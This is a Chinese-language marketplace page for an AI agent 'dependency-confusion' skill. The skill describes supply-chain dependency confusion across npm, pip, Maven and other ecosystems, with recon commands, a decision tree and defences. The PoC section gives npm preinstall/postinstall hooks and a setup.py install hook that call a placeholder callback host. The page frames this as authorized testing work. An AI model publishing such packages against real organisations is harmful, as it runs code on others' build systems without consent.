mcpField
D
dependency-confusion

dependency-confusion

github.com/yaklang安全2.6k3.6k 次安装6 周前更新
代码仓库

关于 dependency-confusion

用于评估软件供应链依赖混淆风险的安全技能,涵盖包名发现、跨生态注册表解析问题、授权 PoC 测试及防护控制。

主要功能

  1. 01内部包名发现
  2. 02跨生态注册表风险分析
  3. 03只读公共注册表检查
  4. 04无破坏性回调 PoC 模式
  5. 05依赖混淆测试工具
  6. 06注册表与版本防护

适用场景

  1. 01审计清单中泄露的私有包名
  2. 02检查包来源和版本解析
  3. 03授权测试 CI 安装流程
  4. 04强化私有注册表配置

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill dependency-confusion

安装后在 Claude Code 中输入/dependency-confusion确认已加载。

详细介绍

技能:依赖混淆——供应链攻击手册

AI 加载指令:依赖混淆专家方法论。涵盖私有包名称如何泄露、公共注册表如何赢得版本解析、生态系统特定的陷阱(npm 作用域、pip 额外索引、Maven 仓库顺序)、侦察命令、非破坏性 PoC 模式(使用回调,而非数据外泄)以及防御措施。如果范围涉及清单或 CI 缓存,请配合供应链侦察工作流使用。仅可用于经授权测试的系统和项目。

0. 快速入门

优先检查的内容

  • 清单中列出的包名称看起来像内部包(简短且无作用域的名称、组织专用标记、产品代号),但没有严格锁定私有注册表。
  • 有迹象表明,同一名称可能存在于公共注册表中,或可以在其中抢注,且版本号高于私有源发布的版本。
  • 锁文件缺失、过时,或未在 CI 中强制执行,导致 install/build 可能转而使用公共元数据。

快速心智模型:如果解析器能同时看到私有和公共索引,且版本范围允许,那么攻击者发布的版本可能成为匹配条件的“最新”版本。

路由提示:如果任务涉及供应链、仓库暴露或 CI 构建侦察,请先使用 recon-for-sec 列出内部包名称和可能与公共注册表发生冲突的名称。


1. 核心概念

  1. 私有包:组织仅在内部注册表发布的库(或根据惯例应属于“我们”的库),例如带作用域的名称 @org-scope/internal-utils,或不带作用域的名称,例如 acme-billing-sdk。
  2. 攻击者抢注名称:在公共注册表(npmjs、PyPI、RubyGems 等)发布同名包。
  3. 解析器偏好:许多配置会在所有已配置的索引中解析满足条件的最高版本(或合并元数据),因此只要版本范围允许,公共源中的 9.9.9 就可能胜过私有源中的 1.2.3。
  4. 执行:包管理器会运行生命周期脚本(npm preinstall/postinstall、setuptools 入口点等)→ 攻击者代码会在开发者笔记本、CI 或生产镜像构建环境中运行。

这是一个供应链类问题:影响通常广泛(涉及许多使用方),且在构建或运行时钩子触发之前往往不易察觉。


2. 受影响的生态系统

生态系统典型清单混淆风险
npmpackage.json如果作用域归注册表所有,带作用域的包(@scope/pkg)会更安全;不带作用域的类私有名称则有高风险。多个注册表,或 .npmrc 中 registry 与按作用域配置的 @scope:registry= 设置错误,都会增加风险。
piprequirements.txt、pyproject.toml、setup.pypip install -i / --extra-index-url 会合并索引;公共索引可能为同一发行包名称提供更高版本。
RubyGemsGemfilesource 顺序以及额外源;名称含糊的 gem 可通过 rubygems.org 获取。
Mavenpom.xml仓库声明顺序和镜像设置;如果策略允许,公共仓库发布相同 groupId:artifactId 的更高版本,就可能胜出。
Composercomposer.jsonPackagist 是默认源;未严格管理**repositories**/canonical 的私有包可能与公共名称冲突。
DockerFROM、镜像标签在容器注册表(如公共镜像仓库)上,对名称类似内部基础镜像的镜像进行拼写仿冒。

3. 侦察

内部名称泄露的位置

  • 仓库或分支中已提交的 package.json、requirements.txt、Gemfile、pom.xml、composer.json。
  • 提及软件包路径的 JavaScript 源映射、打包资源或 错误堆栈跟踪。
  • .npmrc、.pypirc、CI 日志中显示的安装 URL 或镜像端点。
  • 问题跟踪器、gist 代码片段以及 SBOM 导出中的依赖关系图。

检查公开名称是否可抢注/可认领(只读)

# npm — metadata for a name (unscoped)
npm view some-internal-package-name version

# npm — scoped (requires scope to exist / be readable)
npm view @some-scope/internal-lib versions --json

# PyPI — dry-run style version probe (adjust name; fails if not found)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'

# RubyGems — query remote
gem search '^some-internal-package-name$' --remote

# Maven Central — search coordinates (example pattern)
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"

路由说明:枚举完软件包名称后,只能在获授权的环境中考虑 PoC;查询公共注册表本身通常属于被动侦察。


4. 利用

授权测试模式

  1. 在目标解析器可访问的公共注册表中,注册(或使用受控命名空间)相同的软件包名称。
  2. 在受害者声明的范围内,发布一个比合法内部版本更高的 semver 版本(例如,^1.0.0 → 发布 9.9.9)。
  3. 添加 生命周期钩子,以不损害主机的方式证明代码已执行——优先使用指向你控制的协作者的 DNS/HTTP 回调,不要进行破坏性写入。

npm package.json — 最小回调式 PoC(示例)

{
  "name": "some-internal-package-name",
  "version": "9.9.9",
  "description": "authorized dependency-confusion PoC only",
  "scripts": {
    "preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
  }
}

npm package.json — Shell + curl 备用方案(示例)

{
  "scripts": {
    "postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
  }
}

pip — setup 钩子模式(示例;仅用于获授权的实验室软件包)

# setup.py (excerpt)
from setuptools import setup
from setuptools.command.install import install

class PoCInstall(install):
    def run(self):
        import urllib.request
        urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
        install.run(self)

setup(
    name="some-internal-package-name",
    version="9.9.9",
    cmdclass={"install": PoCInstall},
)

参考实现(学习/实验室):社区 PoC 布局和工作流,与 0xsapra/dependency-confusion-exploit 类似——自动提升版本、发布并确认回调,仅限已获得书面许可的场景。


5. 工具

工具作用
visma-prodsec/confused扫描清单文件,查找可能可在公共注册表中认领的依赖项名称(多生态系统)。
synacktiv/DepFuzzer自动化依赖混淆测试工作流(严格仅用于授权范围内)。

这些工具仅可用于你自己的清单或获授权的测试项目;不得用来抢注无关第三方的名称。


6. 防御

  • npm:优先使用 带作用域的软件包(@org-scope/pkg),并确保作用域归组织所有;设置 .npmrc,使私有作用域映射到私有注册表,并确保内部名称不会意外使用默认 registry 公共注册表。
  • 版本固定:使用精确版本和锁文件(package-lock.json、poetry.lock、Gemfile.lock、composer.lock),并在 CI 中强制执行。
  • pip:避免不谨慎地使用 --extra-index-url;优先使用带有镜像的单一私有索引,或在 CI 中采用明确的 --index-url 策略。
  • Maven / Gradle:控制仓库顺序,使用内部镜像,并在发布流水线中阻止意外的 groupId。
  • Composer:为私有软件包使用带 canonical: true 的 repositories;确认 Packagist 没有引入意外的供应商。
  • 防御性注册:在策略允许的情况下,在公共注册表中预留内部名称(抢注自己的名称)。
  • 监控:使用 Socket.dev、Snyk 或类似的 SBOM/供应链扫描工具,对关键软件包的新发布者或版本跳跃发出警报。

7. 决策树

Do manifests reference package names that could be non-unique globally?
├─ NO → Dependency confusion unlikely from naming alone; pivot to typosquatting / compromised accounts.
└─ YES
    ├─ Is the private registry the ONLY source for that name (scoped + .npmrc / single index / mirror)?
    │   ├─ YES → Lower risk; still verify CI and developer machines do not override config.
    │   └─ NO → HIGH RISK
    │         ├─ Can a public registry publish a HIGHER version inside declared ranges?
    │         │   ├─ YES → Treat as exploitable in authorized tests; prove with callback PoC.
    │         │   └─ NO → Check pre-release tags, local `file:` deps, and stale lockfiles.
    │         └─ Are lifecycle scripts disabled/blocked in CI? (reduces impact, does not remove squat risk)

相关路由

  • 来自 recon-for-sec:进行供应链侦察时,在提出任何发布/PoC 步骤之前,应将泄露的清单和内部软件包标识符与第 3 节中的检查项和第 7 节中的决策树交叉关联。

评论

支持 Markdown